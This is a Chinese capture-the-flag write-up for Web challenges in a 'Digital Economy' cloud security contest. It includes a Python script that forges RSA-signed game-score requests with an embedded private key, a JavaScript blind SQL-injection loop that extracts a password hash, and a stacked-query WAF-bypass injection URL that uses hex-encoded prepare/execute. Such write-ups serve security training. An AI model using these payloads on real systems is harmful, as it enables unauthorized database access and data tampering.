"数字经济"云安全共测大赛Web-Writeup
gameapp
这题首先反编译apk,简单看了看代码,主要是有startgame和score两个api,然后用模拟器(手机登不上)安装apk抓了下包,数据经过了rsa加密,所以首先用python实现rsa(在网上搜索私钥可以发现已经使用过,所以直接将别人的脚本改了改来用)。题目要求获取99999,但一次最多获取100分,所以发送999次100分,在发送一次99分即可。
1 import cPickle,M2Crypto,os,urllib,requests 2 BaseUrl="http://121.40.219.183:9999/" 3 sign_pri=''' 4 -----BEGIN RSA PRIVATE KEY----- 5 MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP 6 /h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8aYFoms223okyzeTlUIRHbIkto 7 1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEA3Hau/DTzW4g4xhvzQIDAQAB 8 AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx 9 U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa/AcIxHpf5LqfONs9d 10 UrozcR23s561yjX7w5akeRzOwrq2BKwVtF/EoXvJTQKlwV0CQQDY96T70hxUOLoJ 11 FrLelwl/4Heb0Lrz83lMB6UXknUbJgOiZr/KD9NzEM477MqzKD2rTM4TeULX6cNd 12 hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk 13 kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE+7IuDAF2z79gCmUJwjfUIR 14 hw6H95OVGS/2RSvv8LmOFcpfoSaLB89Fw+TxYzaBoS71BAbulVJwbgGx0bcCQQCs 15 rJxy4UJam73Sn5hDHDn9h4D9uax+ZvskpNNJ/6uS37gbd1zOeOud/0BoGR4oJPeq 16 iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP/CEkXZB4sRDV/gD3mK+IY5p+ZlBSYAe 17 KhVKdUXkdJwNqBn+iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ== 18 -----END RSA PRIVATE KEY----- 19 ''' 20 def private_encrypt(data): 21 rsa_pri = M2Crypto.RSA.load_key_string(sign_pri) 22 ctxt_pri = rsa_pri.private_encrypt(data, M2Crypto.RSA.pkcs1_padding) 23 ctxt64_pri = ctxt_pri.encode('base64') 24 return ctxt64_pri 25 def public_decrypt(msg): 26 sign_pub=''' 27 -----BEGIN PUBLIC KEY----- 28 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY 29 ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a 30 YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE 31 A3Hau/DTzW4g4xhvzQIDAQAB 32 -----END PUBLIC KEY----- 33 ''' 34 bio = M2Crypto.BIO.MemoryBuffer(sign_pub) 35 rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio) 36 ctxt_pri = msg.decode("base64") 37 output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding) 38 return output 39 40 data1 = '{"player" : "user"}' 41 a = requests.Session() 42 a.post(url=BaseUrl+"startgame/",data=private_encrypt(data1),headers={'Content-Type':'xxx'}) 43 for i in range(999): 44 r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":100,"op":"add"}"""),headers={'Content-Type':'xxx'}) 45 print r.text 46 r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":99,"op":"add"}"""),headers={'Content-Type':'xxx'}) 47 print r.text 48 49 r=a.get(url=BaseUrl,headers={'Content-Type':'xxx'}) 50 print r 51 print a
Inject4Fun
这题需要说的其实不多,总结就两点
1.实现前端加密
1 var password = "admin"; 2 var username = "admin"; 3 var a = '1234567890abcdef'; 4 var key = CryptoJS.enc.Latin1.parse(a); 5 var iv = CryptoJS.enc.Latin1.parse('1234567890123456'); 6 var data1 = username; 7 var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); 8 var data2 = password; 9 var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); 10 var rsa = new RSAKey(); 11 var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B"; 12 var exponent = "010001"; 13 rsa.setPublic(modulus, exponent); 14 var res = rsa.encrypt(a); 15 var xhr = new XMLHttpRequest(); 16 xhr.open("POST","http://129.204.73.141:2000/login.php",false); 17 xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 18 xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res); 19 xhr.response 20 2.绕过waf 21 这里直接给出payload 22 23 var username = "admin'=(left(right(password,1),1)>'a')='1"; //返回wrong password 24 var username = "admin'=(left(right(password,1),1)<'a')='1"; //返回wrong user 25 exp
不知道为什么,这题的waf有毒,可能随机性触发,可以通过修改随机生成的16位key来解决着这个问题
因为waf有毒的问题,没法一次性跑出32位hash,需要多次修改a来获取完整hash
1 var pass=''; 2 var s='1234567890abcdef'; 3 for(var n=1;n<33;n++) 4 { 5 for(var i in s) 6 { 7 var password = "admin"; 8 var username = "admin'=(left(right(password,"+n+"),1)='"+s[i]+"')='1"; 9 var a = '1234567890abceef'; 10 var key = CryptoJS.enc.Latin1.parse(a); 11 var iv = CryptoJS.enc.Latin1.parse('1234567890123456'); 12 var data1 = username; 13 var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); 14 var data2 = password; 15 var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); 16 var rsa = new RSAKey(); 17 var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B"; 18 var exponent = "010001"; 19 rsa.setPublic(modulus, exponent); 20 var res = rsa.encrypt(a); 21 var xhr = new XMLHttpRequest(); 22 xhr.open("POST","http://129.204.73.141:2000/login.php",false); 23 xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 24 setTimeout(xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res),1000); 25 if(xhr.response.search('wrong password')!=-1) 26 {pass+=s[i];console.log(s[i]+' '+n);break;} 27 } 28 }
aliwaf
1. 不能用子查询,select和from不能同时出现
2. set 与 execute不能同时出现,还有一些waf,记不清了
通过--%0a测出堆叠后,最后拿一叶飘零强网杯的payload改为下面这样拿到flag
http://aliwaf.xctf.org.cn/index.php?username=0%27;--%0aselect%200x73656c65637420757365722066726f6d206d7973716c2e75736572%20into%20@s;prepare%20a%20from%20@s;EXECUTE%20a;
qcloud
这题赛中没做出来,第一天用char(1,2,3)判断了是sqlite,第二天却发现没法用sqlite_version和sqlite_master震惊。运气好猜到了user表,但是没有弄出数据来